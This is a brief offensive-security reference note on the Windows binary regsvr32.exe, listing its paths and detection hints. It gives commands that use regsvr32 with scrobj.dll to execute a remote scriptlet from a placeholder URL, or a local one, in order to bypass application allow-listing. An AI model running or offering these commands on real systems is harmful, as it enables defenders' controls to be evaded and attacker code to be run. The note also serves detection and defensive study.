~/Privilege Escalation/Windows/Binaries# cat Regsvr32.exe.md █
Used by Windows to register dlls
Paths:
C:\Windows\System32\regsvr32.exe
C:\Windows\SysWOW64\regsvr32.exe
Detection: regsvr32.exe getting files from Internet regsvr32.exe executing scriptlet files
AWL bypass
Execute the specified remote .SCT script with scrobj.dll.
regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
Execute the specified local .SCT script with scrobj.dll.
regsvr32.exe /s /u /i:file.sct scrobj.dll
Execute
Execute the specified remote .SCT script with scrobj.dll.
regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
Execute the specified local .SCT script with scrobj.dll.
regsvr32.exe /s /u /i:file.sct scrobj.dll